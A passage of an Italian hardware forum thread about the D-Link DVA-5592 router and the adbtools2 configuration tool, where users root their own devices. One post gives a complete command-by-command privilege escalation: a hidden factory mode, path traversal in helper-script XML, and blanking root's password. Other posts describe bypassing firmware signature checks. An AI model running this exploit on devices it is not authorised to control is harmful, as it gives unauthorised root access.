Torna indietro   Hardware Upgrade Forum > Networking e sicurezza > Networking > Guide e thread ufficiali

Apple MacBook Air M3: chi deve davvero comprarlo? La recensione
Apple MacBook Air M3: chi deve davvero comprarlo? La recensione
A distanza di circa 8 mesi arriva l’importante aggiornamento dei MacBook Air: nessun cambiamento estetico, ma una revisione hardware interna con l’upgrade al processore M3. Le prestazioni migliorano rispetto alle generazioni precedenti, e questo fa sorgere una domanda spontanea: a chi è rivolto oggi questo laptop? Cerchiamo di capirlo nella nostra recensione 
ASUS ROG Swift OLED PG49WCD: quando QD-OLED e ultrawide si fondono
ASUS ROG Swift OLED PG49WCD: quando QD-OLED e ultrawide si fondono
Da ASUS un monitor particolare ma molto completo: principalmente indirizzato al videogiocatore, può essere sfruttato con efficacia anche per attività creative e di produzione multimediale
Dreame L10s Pro Ultra Heat: la pulizia di casa tutta sostanza
Dreame L10s Pro Ultra Heat: la pulizia di casa tutta sostanza
Il nuovo robot aspirapolvere domestico di Dreame abbina funzionalità complete a un moccio flottante che raggiunge al meglio gli angoli delle pareti. Un prodotto tutto in uno semplice da utilizzare ma molto efficace, in grado di rispondere al meglio alle necessità di pulizia della casa
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 19-07-2018, 13:49   #41
Wolf_adsl
Senior Member
 
L'Avatar di Wolf_adsl
 
Iscritto dal: Nov 2002
Città: Pesaro
Messaggi: 2045
@palmerpalm grazie mille per l'HowTo completo linkato sopra.
__________________
Trattative concluse con: Neo1985, afico, _HackAj_, huangwei, Ashardalon, Morpheus90, Black_Nexus_500, musodatopo, nongio, seingal, Sir Alamon, Decagrog, DexTer82, capzero
Trattative sulla baya: feedback + 200 - 100% Positivo
Wolf_adsl è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2018, 15:55   #42
Bovirus
Senior Member
 
L'Avatar di Bovirus
 
Iscritto dal: Nov 2003
Città: Milano
Messaggi: 30585
@palmerpalm

Se sei d'accordo pensavo di mettere le indicazioni sul tuo tool nel thread del modem DVA-5592 in quanto mi sembra il posto più indicato (non riguarda il mod del frimware in quanto funziona anche con il fiemware standard),

Se sei d'accordo, copia il tuo post in uno nuovo nel thread del DVA-5592 e lo linko nei primi post.

Ultima modifica di Bovirus : 04-08-2018 alle 11:33.
Bovirus è online   Rispondi citando il messaggio o parte di esso
Old 19-07-2018, 20:04   #43
palmerpalm
Member
 
Iscritto dal: Jun 2018
Messaggi: 48
adbtools2

Quote:
Originariamente inviato da Bovirus Guarda i messaggi
@palmerplam

Se sei d'accordo pensavo di mettere le indicazioni sul tuo tool nel thread del modem DVA-5592 in quanto mi sembra il posto più indicato (non riguarda il mod del frimware in quanto funziona anche con il fiemware standard),

Se sei d'accordo, copia il tuo post in uno nuovo nel thread del DVA-5592 e lo linko nei primi post.
Grazie @bovirus, certo che sono daccordo. Ho copiato il post nel thread del DVA-5592 il link è questo: https://www.hwupgrade.it/forum/showp...postcount=3300
palmerpalm è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2018, 21:27   #44
Bovirus
Senior Member
 
L'Avatar di Bovirus
 
Iscritto dal: Nov 2003
Città: Milano
Messaggi: 30585
@palmerpalm

Grazie. Ho già messo il link al tuo post 3300 nei primi post.

Per favore dai un'occhiata al post 3301 dove ho ricopiato il tuo post evidenziando alcune parte secondo me importanti.
Dinmmi per favore cosa ne pensi.
Bovirus è online   Rispondi citando il messaggio o parte di esso
Old 22-07-2018, 11:21   #45
Bovirus
Senior Member
 
L'Avatar di Bovirus
 
Iscritto dal: Nov 2003
Città: Milano
Messaggi: 30585
@palmerpalm

Avrai una serie di proposte di modifica se possibili per adbtools2

Impostazione come percorso predefinito per load/save dei file della cartella da cui si lancia confeditor.exe

Aumento dell'altezza della finestra principale per avere una riga in più in "Router info" (vedi dopo andrebbero aggiunte due righe ma c'è già una riga vuota)

Aumneto nel riquadro "Router Info" della larghezza della colonna a sinistra (decsrizione valori) e riduzne della largehzza della coonna a destra (valori).
C'è spazio vuoto snella colonna a destra - il valore più lungo è il Serial Number.

Aggiunta nel titolo della finestra in alto a sinistra la versione di "ADB Config Editor". Es quella attuale "ADB Config Editor 0.5.13.4"

Nella sezione "Router Info"

Spostamento di "Router Customer ID" dop la riga "Model name"
Spostamento di "Router IP" dopo la riga "Serial Number"
Spostamento di "Router NetMask" dopo la riga "Router IP"

E qui finiscono i valori statici non modificabili
Ora passiamo ai valori modificabili da menu.

Modifica di "BSD GUI visible" in "Restricted web GUI visible" (per allnearlo come voce a quella del menu)

Aggiungta della riga "Restricted CLI command enabled" con relativo valore true/false (oggi la riga non c'è)

Spostamento di "Firmware upgrade allowed" dopo la riga "Restricted CLI command enabled"
Spostamento di "Firmware downgrade allowed" dopo la riga "Firmware upgrade allowed"

Ho usato "Firmware" al posto di "Fw" perchè credo ci stia.
Ho usato "allowed" al posto di "permitted" perchè credo sia più corretto.

Aggiunta della riga "Fix dlinkdns - dlinkddns" con relativio valore true/false (oggi la riga non c'è)

In questo modo i valori statici sono tutti nella prima parte della sezione "Router info".

Poi ci sono i valori modificabili con lo stesso ordine e nome del menu di sblocco.

Nel menu Edit la voce "Preferences" non essendo attiva sarebbe preferibile metterla in grigio (non attiva) o modificare il testo per evidenziare che non è attiva. Es."Prefernces (not yet implemented)".

Che ne dici?

Ultima modifica di Bovirus : 22-07-2018 alle 12:25.
Bovirus è online   Rispondi citando il messaggio o parte di esso
Old 22-07-2018, 19:55   #46
palmerpalm
Member
 
Iscritto dal: Jun 2018
Messaggi: 48
Quote:
Originariamente inviato da Bovirus Guarda i messaggi
@palmerpalm

Grazie. Ho già messo il link al tuo post 3300 nei primi post.

Per favore dai un'occhiata al post 3301 dove ho ricopiato il tuo post evidenziando alcune parte secondo me importanti.
Dinmmi per favore cosa ne pensi.
Scusa del ritardo con cui ti rispondo, grazie dell'editing, adesso è assai più chiaro e si si segue più facilmente!
palmerpalm è offline   Rispondi citando il messaggio o parte di esso
Old 23-07-2018, 06:55   #47
Bovirus
Senior Member
 
L'Avatar di Bovirus
 
Iscritto dal: Nov 2003
Città: Milano
Messaggi: 30585
@palmerplan

Grazie. Figurati.

Puoi per favore dare un'occhiata all'elenco delle modifiche proposte nel mio post precedente? Grazie.
Bovirus è online   Rispondi citando il messaggio o parte di esso
Old 24-07-2018, 00:03   #48
palmerpalm
Member
 
Iscritto dal: Jun 2018
Messaggi: 48
Quote:
Originariamente inviato da Bovirus Guarda i messaggi
@palmerpalm

Avrai una serie di proposte di modifica se possibili per adbtools2
Ti ringrazio per i suggerimenti, vedo se riesco ad implementarli, nel frattempo:

1. ho implementato la voce di menù "Edit -> Preferences" che permette di selezionare se si vuole o meno visualizzare i messaggi di debug sulla finestra della console (default è "yes") e se si vuole impostare la cartella di upload/download dei file di configurazione (il default è quella di impostarla all'ultima cartella utilizzata). La configurazione viene salvata in un file di nome .confedit.ini che si trova nella home dir dell'utente su Linux o nella directory APPDATA su Windows

2. la dimensione delle colonne sulla finestra Router Info purtroppo cambiano tra Linux e Windows: su Linux, dove modifico il programma, le dimensioni sono corrette, mentre su windows la seconda colonna risulta essere con parecchio margine. Per non differenziare tra le due versioni lascio così com'è, credo sia un problema minore

3. gli altri suggerimenti li devo ancora guardare
palmerpalm è offline   Rispondi citando il messaggio o parte di esso
Old 24-07-2018, 06:55   #49
Bovirus
Senior Member
 
L'Avatar di Bovirus
 
Iscritto dal: Nov 2003
Città: Milano
Messaggi: 30585
@palmerplam

Grazie per le modifiche (speriamo si possano fare tutte quelle indicate - alla fine per la maggior parte è solo un riordino/modifica delle voci visualizate).

Secondo me sarebbe preferibile

- che la cartella di default se non impostata nel file di configurazione sia la cartella dove c'è il comando confedit.

- che il file di configurazione sia memorizzato nella cartella locale dove c'è il comando confedit.

Questo per mantenre la portabilità dello strumento.
Bovirus è online   Rispondi citando il messaggio o parte di esso
Old 25-07-2018, 23:50   #50
palmerpalm
Member
 
Iscritto dal: Jun 2018
Messaggi: 48
Come diventare root su questo router

Sono riuscito a diventare "root" sul modem e, quindi, potenzialmente a
poter modificare il firmware (cosa che non ho ancora fatto).

La procedura, passo passo, per diventare root e' la seguente:

1. entrare in modalita' "factory mode" per avere accesso, da utente
non privilegiato, ad una shell linux sul router. Da notare che il
comando "factory-mode" e' nascosto, non viene auto-completato
premendo tab
Codice PHP:
valerio@ubuntu-hp:~$ telnet 192.168.1.1
Trying 192.168.1.1
...
Connected to 192.168.1.1.
Escape character is '^]'.
Loginadmin
Password
:

********************************************
*                 
D-Link                   *
*                                          *
*      
WARNINGAuthorised Access Only     *
********************************************

Welcome
DLINK
# factory
DLINK(factory)# factory-mode
DLINK(factory)#
DLINK(factory)# Connection closed by foreign host.
valerio@ubuntu-hp:~$ 
2. il router fa il reboot ed entra in "factory mode", in questa
modalita' la funzionalita' di accesso ad Internet viene persa, non
ci sono piu' le reti WiFi che avevamo impostato, non e' attivo il
DHCP server per cui dovremo impostare a mano l'indirizzo IP sul PC
per connetterci al router che ha il suo indirizzo di defautl
192.168.1.1. Anche eventuali altre configurazioni vengono perse

3. fare il login sul router ed entrare nella shell con il comando
"system shell"
Codice PHP:
valerio@ubuntu-hp:~$ telnet 192.168.1.1
Trying 192.168.1.1
...
Connected to 192.168.1.1.
Escape character is '^]'.
Loginadmin
Password
:

********************************************
*                 
D-Link                   *
*                                          *
*      
WARNINGAuthorised Access Only     *
********************************************

Welcome
DLINK
# system shell


BusyBox v1.17.3 (2018-04-11 12:29:54 CESTbuilt-in shell (ash)
Enter 'help' for list of built-in commands.

/
root ps -ef egrep 'PID| cm'
PID USER       VSZ STAT COMMAND
356 0         2560 S    cm 
4. sul router gira un processo "cm" (cm probabilmente sta per
Configuration Manager), gira con i diritti di root ed e' il
processo che fa praticamente tutto a livello di gestione del
router. Viene lanciato dagli script di startup e poi configurato
con il comando "cmclient". Inizialmente cmclient lo configura
indicandogli dove prendere i file xml che gli definiscono la
configurazione e successivamente viene utilizzato sia per
interrogare la configurazione attuale che per effettuare le
modifiche.

5. Una cosa interessante e' che per fare il lavoro "cm" si appoggia a
degli "helper scripts" che si trovano su /etc/ah/, gli helper
script da utilizzare gli sono indicati nei file xml di
configurazione iniziale, non hanno il path perche' cm li cerca su
/etc/ah/

6. Un altra cosa interessanti e' che cmclient gira da utente non
privilegiato, la cosa e' necessaria affinche' l'interfaccia web,
che gira come utente "nobody", e la CLI, che gira come utente che
ha fatto il login, tipicamente "admin", possano richiedere delle
modifiche di configurazione

7. Quello che e' piu' interessante e' che cmclient puo' dare dei
comandi di configurazione passando dei file xml che vanno a
sovrascrivere la configurazione corrente di cm e, quindi, andando
a modificare gli helper script, che sono degli script
shell. Probabilmente gli autori, aggiungendo il path /etc/ah a
ciascuno degli script presenti nei file xml, hanno trascurato la
possibilita' di impostare script su altri path grazie all'utilizzo
del doppio punto, che non viene filtrato, per passare ad altri
path. Ad esempio "/etc/ah/../../tmp/" equivale a "/tmp"

8. l'hack per avere l'accesso di root si basa, quindi, su una
riconfigurazione di uno dei file xml per far puntare ad un helper
script su /tmp (una delle poche directory dove l'utente admin puo'
scrivere), l'helper script, modificato da noi, verra' eseguito con
i diritti di "root" e, alla fine, andra' a modificare /tmp/passwd
(/etc/passwd e' un link a /tmp/passwd) e ci permettera' di avere i
diritti di root

9. quindi procediamo con il creare un file xml modificato che copiamo
dalla posizione originale a /tmp modificando il riferimento a
"Users.sh", a cui cm aggiunge il path /etc/ah/, con
"../../tmp/Users.sh". Potremmo copiare il file xml in /tmp e poi
modificarlo con vi oppure modificarlo con sed come da linea di
comando seguente:
Codice PHP:
/root cat /etc/cm/tr181/dom/Management.xml | \
  
sed 's/Users.sh/\.\.\/\.\.\/tmp\/Users.sh/g' > /tmp/Management.xml 
10. poi copiamo lo script /etc/ah/Users.sh in /tmp/Users.sh e lo
modifichiamo aggiungendo la riga "cat /tmp/passwd > /tmp/pass1"
come da snippet seguente:
Codice PHP:
/root cp /etc/ah/Users.sh /tmp/Users.sh
/root vi /tmp/Users.sh

#!/bin/sh
cat /tmp/passwd > /tmp/pass1
USERS_DEBUG
=0
AH_NAME
="Users"
AH_VERSION="0.1"
... 
11. adesso riconfiguriamo cm facendogli rileggere il file xml
modificato da noi e che fa riferimento a /tmp/Users.sh con il comando seguente
Codice PHP:
/root cmclient DOM Device /tmp/Management.xml
OK 
12. a questo punto provochiamo l'esecuzione di /tmp/Users.sh, dando il
comandi di cmclient per aggiungere un utente:
Codice PHP:
/root cmclient ADD Device.Users.User

13. la risposta 4 indica che il comando ha avuto successo ed ha creato
il quarto utente (i primi 3 sono user, power e admin). Non ci
interessa assegnargli username, password e diritti, ma ci
interessa solo verificare che /tmp/pass1 e' stata creata:
Codice PHP:
/root cat /tmp/pass1
root
:*:0:0:root:/root:/bin/ash
nobody
:*:65534:65534:nobody:/var:/bin/false
daemon
:*:65534:65534:daemon:/var:/bin/false
admin
:$1$4Kwa.w2C$AWuAsp6svQLmxrbsBZyUL/:1001:100:admin:/root:/bin/clish
user
:$1$CVaDxfNn$ijBcxzcdGTIpskomSOO9r.:1002:300:user:/root:/bin/clish
power
:$1$jej2Kb5/$PI9O1eC9bqJnZRHUEjkQR1:1003:200:power:/root:/bin/clish 
14. /tmp/pass1 e' dell'utente root, come utente admin abbiamo i
diritti di lettura, ma non quelli di scrittura e quindi non lo
possiamo modificare, allora lo copiamo in /tmp/pass2, che
modifichiamo togliendo '*' nel campo della password di root, in
modo che root non abbia password:
Codice PHP:
/root cp /tmp/pass1 /tmp/pass2
/root vi /tmp/pass2

root
::0:0:root:/root:/bin/ash
nobody
:*:65534:65534:nobody:/var:/bin/false
daemon
:*:65534:65534:daemon:/var:/bin/false
admin
:$1$4Kwa.w2C$AWuAsp6svQLmxrbsBZyUL/:1001:100:admin:/root:/bin/clish
user
:$1$CVaDxfNn$ijBcxzcdGTIpskomSOO9r.:1002:300:user:/root:/bin/clish
power
:$1$jej2Kb5/$PI9O1eC9bqJnZRHUEjkQR1:1003:200:power:/root:/bin/clish 
15. a questo punto rimodifichiamo /tmp/Users.sh in modo da copiare
/tmp/pass2 su /tmp/passwd (cui punta /etc/passwd) in modo da poter
poi diventare root con "su". Commentiamo la riga usata
precedentemente ed aggiungiamo "cp /tmp/pass2 /tmp/passwd" come da
snippet seguente:
Codice PHP:
/root vi /tmp/Users.sh

#!/bin/sh
#cat /tmp/passwd > /tmp/pass1
cp /tmp/pass2 /tmp/passwd
USERS_DEBUG
=0
AH_NAME
="Users"
... 
16. siamo pronti a far rieseguire /tmp/Users.sh con lo stesso comando
di cmclient che crea un altro utente:
Codice PHP:
/root cmclient ADD Device.Users.User

17. adesso che /tmp/passwd e' stata modificata finalmente possiamo
fare su a root senza che ci venga chiesta una password
Codice PHP:
~ $ su -


BusyBox v1.17.3 (2018-04-11 12:29:54 CESTbuilt-in shell (ash)
Enter 'help' for list of built-in commands.

      
___           ___           ___           ___
     
|\__\         /\  \         /\  \         /\  \
     |:|  |       /::\  \       /::\  \       /::\  \
     |:|  |      /:/\:\  \     /:/\:\  \     /:/\:\  \
     |:|
__|__   /::\~\:\  \   /::\~\:\  \   _\:\~\:\  \
     /::::\
__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /\ \:\ \:\__\
    /:/~~/~    \/
__\:\/:/  / \/__\:\/:/  / \:\ \:\ \/__/
   /:/  /           \::/  /       \::/  /   \:\ \:\
__\
   \/
__/            /:/  /         \/__/     \:\/:/  /
                   /:/  /                     \::/  /
                   \/
__/                       \/__/    r41358.07b1b3a7
..................................................................
 
yet another purposeful solution by  Advanced Digital Broadcast SA
..................................................................
root@localhost:~#
root@localhost:~# id
uid=0(rootgid=0(rootgroups=0(root),19(remoteaccess),20(localaccess)
root@localhost:~
18. adesso che siamo root potremmo fare quello che vogliamo, compreso
modificare il file system di root jffs2; da notare, pero', che
tale file system, sebbene sia montato in rw, non viene mai
modificato dal firmware del router che, di fatto, lo considera
read only e lo scrive, unicamente, durante l'aggiornamento del
firmware. Io ho provato a modificarlo, apparentemente funziona, ma
poi sono comparse, sulla console seriale, degli errori di checksum
sul file system jffs2, per far sparire tali errori ho dovuto fare
l'upgrade del firmware.

19. la cosa che si puo' fare e-, analogamante alla procedura di upgrade
del firmware, ricaricare sulla memoria flash, con nandwrite, il file
system jffs2 di root oppurtunamente modificato. La procedura di
upgrade del firmware esegue i seguenti comandi:
Codice PHP:
dd if=/tmp/upgrade/fw.bin bs=256 skip=514 count=94720 | /usr/sbin/nandwrite -s 524288 /dev/mtd3 -
dd if=/tmp/upgrade/fw.bin bs=256 skip=2 count=512 | /usr/sbin/nandwrite /dev/mtd8 
uesta e' l'attivita' che vorrei fare, ma mi ci vorra' un po' di tempo
per farla con ridotti rischi di mettere fuori uso il router. Inoltre, tempo permettendo,
mi piacerebbe anche descrivere il processo che mi ha portato a trovare questo hack
per diventare root su questo router
palmerpalm è offline   Rispondi citando il messaggio o parte di esso
Old 26-07-2018, 07:10   #51
Bovirus
Senior Member
 
L'Avatar di Bovirus
 
Iscritto dal: Nov 2003
Città: Milano
Messaggi: 30585
@palmerpalm

Grazie per la guida.
Inserito link al tuo post precedente nei primi post.


Per favroe quando puoi modifica il tools adbtools2.
Bovirus è online   Rispondi citando il messaggio o parte di esso
Old 27-07-2018, 08:21   #52
dlp
Senior Member
 
L'Avatar di dlp
 
Iscritto dal: Aug 2015
Messaggi: 301
@palmerpalm

Ciao, prima cosa grazie per il tuo prezioso lavoro. Una domanda... modificando il fw da root, come stai cercando di fare, consentirà poi di avere un immagine FW funzionante da caricare sul proprio router utilizzando il normale canale di upgrade o sarà comunque necessario effetttuare la procedura per diventare root?
__________________
Fritzbox 7590 <-- D-link DVA-5592_A1 <-- VSR <-- Dg834GT + 2100AP
dlp è offline   Rispondi citando il messaggio o parte di esso
Old 27-07-2018, 19:39   #53
palmerpalm
Member
 
Iscritto dal: Jun 2018
Messaggi: 48
Quote:
Originariamente inviato da dlp Guarda i messaggi
@palmerpalm

Ciao, prima cosa grazie per il tuo prezioso lavoro. Una domanda... modificando il fw da root, come stai cercando di fare, consentirà poi di avere un immagine FW funzionante da caricare sul proprio router utilizzando il normale canale di upgrade o sarà comunque necessario effetttuare la procedura per diventare root?
Il firmware ufficiale è firmato digitalmente con il meccanismo della chiave pubblica/chiave privata, la chiave pubblica è memorizzata dentro al comando /usr/sbin/sig_verify che verifica l'autenticità del firmware prima di procedere con l'upgrade/downgrade.

Senza prima diventare root ed alterare questo meccanismo, diventa impossibile aggiornare il firmware con uno non originale.

La mia idea, da verificare però, è quella di automatizzare con uno script la procedura per diventare root, alterare temporaneamente lo script di upgrade in modo da fargli saltare la verifica dell'autenticità del firmware e poi procedere con un normale upgrade di firmware modificato e con firma fasulla; ho visto che la procedura di upgrade fa una serie di passi per cui può essere rischioso alterare direttamente il firmware con nandwrite per questo è bene modificare direttamente il file di upgrade.
palmerpalm è offline   Rispondi citando il messaggio o parte di esso
Old 04-08-2018, 11:34   #54
Bovirus
Senior Member
 
L'Avatar di Bovirus
 
Iscritto dal: Nov 2003
Città: Milano
Messaggi: 30585
@palmerpalm

Ho visto che hai aggiornato il tool adbtools2.

Mi chiedevo se era possibile implementare le proposte indicate qui

https://www.hwupgrade.it/forum/showp...6&postcount=45

Grazie.
Bovirus è online   Rispondi citando il messaggio o parte di esso
Old 05-08-2018, 16:57   #55
Robertof_
Senior Member
 
Iscritto dal: Feb 2014
Messaggi: 1142
Quote:
Originariamente inviato da palmerpalm Guarda i messaggi
Sono riuscito a diventare "root" sul modem e, quindi, potenzialmente a
poter modificare il firmware (cosa che non ho ancora fatto).
[snip]
I miei complimenti per essere arrivato fino a qui!! Purtroppo io ho dovuto abbandonare la mia ricerca per mancanza di tempo, ma sono contento che adesso ci si possa elevare a root.

Una cosa non mi è chiara: il filesystem JFFS è montato in modalità RW. Se modificare i file al suo interno produce degli errori di checksum sulla seriale (stoppano il boot o prosegue nonostante gli errori?), dove salva il router le impostazioni? /tmp penso sia soltanto shmfs/tmpfs, quindi non credo che valga come storage di dati, c'è forse un'altra partizione sempre RW dove viene salvato il tutto? E la modifica a /tmp/passwd (che è symlinkato ad /etc/passwd) persiste dopo il reboot?

Per quanto riguarda lo script per effettuare automaticamente la procedura di rooting, posso lavorarci anche io senza alcun problema, così ti alleggerirei un po' il carico

Cheers e grazie per il walkthrough!

Ultima modifica di Robertof_ : 05-08-2018 alle 17:06.
Robertof_ è offline   Rispondi citando il messaggio o parte di esso
Old 06-08-2018, 13:05   #56
palmerpalm
Member
 
Iscritto dal: Jun 2018
Messaggi: 48
Quote:
Originariamente inviato da Robertof_ Guarda i messaggi
Una cosa non mi è chiara: il filesystem JFFS è montato in modalità RW. Se modificare i file al suo interno produce degli errori di checksum sulla seriale (stoppano il boot o prosegue nonostante gli errori?), dove salva il router le impostazioni? /tmp penso sia soltanto shmfs/tmpfs, quindi non credo che valga come storage di dati, c'è forse un'altra partizione sempre RW dove viene salvato il tutto? E la modifica a /tmp/passwd (che è symlinkato ad /etc/passwd) persiste dopo il reboot?

Per quanto riguarda lo script per effettuare automaticamente la procedura di rooting, posso lavorarci anche io senza alcun problema, così ti alleggerirei un po' il carico
Modificando il filesystem JFFS, nonostante gli errori sulla console che si ripetono periodicamente e continuamente, apparentemente tutto sembra funzionare normalmente, il boot continua ed il router sembra funzionare normalmente, anche se continua a scrivere messaggi di errore sulla console.
I file modificati, come /etc/passwd.orig, permangono comunque modificati anche dopo il reboot.

Sul router ci sono varie partizioni:
Codice PHP:
root@dlinkrouter:~# df
Filesystem           1K-blocks      Used Available Use% Mounted on
mtd
:rootfs_1            125696     24620    101076  20% /
tmpfs                   114852       460    114392   0% /tmp
tmpfs                      128         8       120   6
% /dev
tmpfs                       64         0        64   0
% /mnt
/dev/mtdblock4            2048      1408       640  69% /tmp/cfg
/dev/mtdblock5             256       256         0 100% /tmp/factory

root
@dlinkrouter:~# cat /proc/mounts 
rootfs rootfs rw 0 0
mtd
:rootfs_1 jffs2 rw,relatime 0 0
proc 
/proc proc rw,relatime 0 0
tmpfs 
/tmp tmpfs rw,nosuid,nodev,relatime 0 0
tmpfs 
/dev tmpfs rw,relatime,size=128k 0 0
none 
/proc/bus/usb usbfs rw,relatime 0 0
none 
/dev/pts devpts rw,relatime,mode=600,ptmxmode=000 0 0
tmpfs 
/mnt tmpfs rw,relatime,size=64k 0 0
sysfs 
/sys sysfs rw,relatime 0 0
/dev/mtdblock4 /tmp/cfg yaffs rw,relatime 0 0
/dev/mtdblock5 /tmp/factory yaffs rw,relatime 0 0

root
@dlinkrouter:~# cat /proc/mtd 
dev:    size   erasesize  name
mtd0
00020000 00020000 "CFE"
mtd100200000 00020000 "bootfs_1"
mtd207ac0000 00020000 "rootfs_1"
mtd307cc0000 00020000 "upgrade"
mtd400200000 00020000 "conf_fs"
mtd500040000 00020000 "conf_factory"
mtd600200000 00020000 "bbt"
mtd710000000 00020000 "flash" 
La configurazione viene memorizzata nella partizione flash mtd4 montata su /tmp/cfg e con file system YAFFS (Yet Another Flash File System).

Riguardo allo script per automatizzare il "rooting", in realtà l'ho già fatto, è disponibile su github: https://github.com/digiampietro/adbtools2 e si chiama hack-script.sh. In pratica basta entrare in factory mode (come descritto in un precedente post) poi fare un "cat > /tmp/hack-script.sh" e fare un copia incolla del contenuto di quello script seguito dal "Ctrl-D" per terminare l'input, fare un "chmod a+x /tmp/hack-script.sh", eseguirlo e poi fare un "su -" e si diventa root.

Sono a buon punto anche con l'upgrade di un firmware modificato, che già gira sul mio router, in pratica quello che sarà possibile appena finisco è che utilizzando lo stesso script sopra (da modificare ancora), verrà reso possibile fare l'upgrade del firmware con uno non firmato e che conterrà le seguenti modifiche:
1. /usr/sbin/upgrade.sh modificato in modo da permettere l'upgrade di firmware non firmato digitalmente

2. /etc/clish/startup.xml modificato in modo da rendere possibile il comando "system shell" per accedere alla shell anche in modalità normale e non solo in factory mode come adesso

3. /etc/passwd.orig in modo da rendere possibile "su -" a root senza password

4. aggiunta di uno script su /etc/init.d in modo da montare su /opt una chiavetta USB con file system ext3 dove poter installare entware (https://github.com/Entware/Entware) e poter aggiungere vari pacchetti software, sulla chiavetta USB senza troppo interferire con il firmware modificato al minimo indispensabile
palmerpalm è offline   Rispondi citando il messaggio o parte di esso
Old 06-08-2018, 18:41   #57
dlp
Senior Member
 
L'Avatar di dlp
 
Iscritto dal: Aug 2015
Messaggi: 301
Quote:
Originariamente inviato da palmerpalm Guarda i messaggi
le seguenti modifiche:
1. /usr/sbin/upgrade.sh modificato in modo da permettere l'upgrade di firmware non firmato digitalmente

2. /etc/clish/startup.xml modificato in modo da rendere possibile il comando "system shell" per accedere alla shell anche in modalità normale e non solo in factory mode come adesso

3. /etc/passwd.orig in modo da rendere possibile "su -" a root senza password

4. aggiunta di uno script su /etc/init.d in modo da montare su /opt una chiavetta USB con file system ext3 dove poter installare entware (https://github.com/Entware/Entware) e poter aggiungere vari pacchetti software, sulla chiavetta USB senza troppo interferire con il firmware modificato al minimo indispensabile
Fantastico, già cosi poi si potranno personalizzare un sacco di cose. Grazie del tuo lavoro.
__________________
Fritzbox 7590 <-- D-link DVA-5592_A1 <-- VSR <-- Dg834GT + 2100AP
dlp è offline   Rispondi citando il messaggio o parte di esso
Old 07-08-2018, 13:53   #58
pimander
Member
 
Iscritto dal: Feb 2010
Messaggi: 105
Grande palmerpalm !

Bel lavoro palmerpalm !

mi era già rassegnato a considerare il router un soprammobile...

Se leggo bene dal post sopra in /tmp c'è parecchio spazio che viene salvato in flash, eventuali pacchetti si potrebbero installare lì no ?
pimander è offline   Rispondi citando il messaggio o parte di esso
Old 08-08-2018, 15:59   #59
pimander
Member
 
Iscritto dal: Feb 2010
Messaggi: 105
Primi smanettamenti

Ho gia cominciato ad esplorare le possibilità da root...

Mi rispondo da solo per quanto chiesto nel post precedente, forse si può, ma bisogna trovare il modo di salvare su flash (quale?), assieme a ciò che al boot viene copiato su /tmp, gli eventuali pacchetti.

E per quanto riguarda l'idea di palmerpalm di metterli su chiavetta, bisogna tener conto che il router monta automaticamente le chiavette su /mnt/sda1 e 2.

La prima cosa che avevo urgenza di ottenere è il famigerato wakeonlan...
In startup.xml al relativo comando non esegue niente, e come ho scoperto manco potrebbe.
Per avere il wakeonlan ci sono poche possibilità.
C'è l'applet ether-wake di busybox, che naturalmente non è stato configurato nel router, e che comunque dalle prove fatte richiede che sia eseguito da root.
C'è l'applet nc (netcat) che comunque non ha l'opzione -b (broadcast).
Rimane socat...

Mi sono fatto uno scriptino e l'ho salvato in /etc/wol, e ho copiato l'eseguibile di socat in /root.

Codice:
#!/bin/sh
mac=$(printf '\x01\x02\xaa\xbb\xcc\xdd') # MAC = 01:02:aa:bb:cc:dd
wol_packet=$(printf "\xff\xff\xff\xff\xff\xff$mac$mac$mac$mac$mac$mac$mac$mac$mac$mac$mac$mac$mac$mac$mac$mac")
echo -n "$wol_packet" | /root/socat -u STDIO UDP-DATAGRAM:192.168.1.255:9,broadcast
Poi ho aggiunto a startup.xml i comandi shell e wol, sotto system

Codice:
      </ACTION></COMMAND><COMMAND name="shell" no-config-gen="true"><ACTION>
        /etc/hack_script.sh
        /bin/sh                                                             
      </ACTION></COMMAND><COMMAND name="wol" no-config-gen="true"><ACTION>
        /etc/wol
shell esegue prima lo script di palmerpalm, perché al riavvio bisogna ripetere il trucco.

Tra l'altro una configurazione salvata dopo aver eseguito hack-script.sh rimane invalida... sembra che per gli utenti parta da un /etc/passwd base e poi aggiunga gli altri utenti dalla configurazione.

Purtroppo non posso allegare il socat che ho compilato perché eccede il massimo consentito.

Infine, per chi volesse compilare socat o quant'altro ho usato buildroot-2018.02-rc2, con

Target Architecture (ARM (little endian))
Target Architecture Variant (cortex-A9)

Buon smanettamento...

Ultima modifica di pimander : 08-08-2018 alle 16:02.
pimander è offline   Rispondi citando il messaggio o parte di esso
Old 08-08-2018, 18:18   #60
pimander
Member
 
Iscritto dal: Feb 2010
Messaggi: 105
Stateve aqquorti

Ho avuto la (pessima) idea di settare la password di root e poi copiare /tmp/passwd in /etc/passwd.orig, lasciando solo root,nobody e daemon, sperando che al boot lo copiasse in /tmp.

Ma non gli è piaciuto, o meglio, evidentemente il salt è diverso ad ogni riavvio, e ho dovuto modificare hack-script.sh per eliminare la password che avevo settato

In più sembra che il router si sia accorto di qualcosa e ha ripristinato startup.xml nonché ranzato i 2 script che avevo copiato in /etc.

Morale, qualche modifica al rootfs si può fare e la mantiene, ma bisogna andarci con i piedi di piombo

Update: in effetti non ha ripristinato startup.xml originale, il comando shell era ancora lì...
Pur avendo lavorato nel settore embedded secoli fa, non ho molta esperienza con i SoC, vado un po' a naso. Si direbbe che con i suoi tempi aggiorni la flash del rootfs (o di una sua copia ?). Facendo le prove ho riavviato varie volte e i file aggiunti/modificati erano rimasti. Ma quando ho sgarrato ha recuperato da qualcosa di già modificato.
Forse qualcuno più esperto di SoC ha la spiegazione...

Update2: per non dover eseguire ogni volta hack-script.sh dopo un riavvio ho semplicemente tolto l'asterisco da /etc/passwd.orig e pare che funzioni.
Per quanto riguarda lo "sgarro", ripensandoci, prima di avere la bella idea di settare la password di root avevo curiosato nelle partizioni mtd, montandone qualcuna. Forse è questo che ha fatto scattare qualcosa e ha provocato quel ripristino parziale del rootfs...

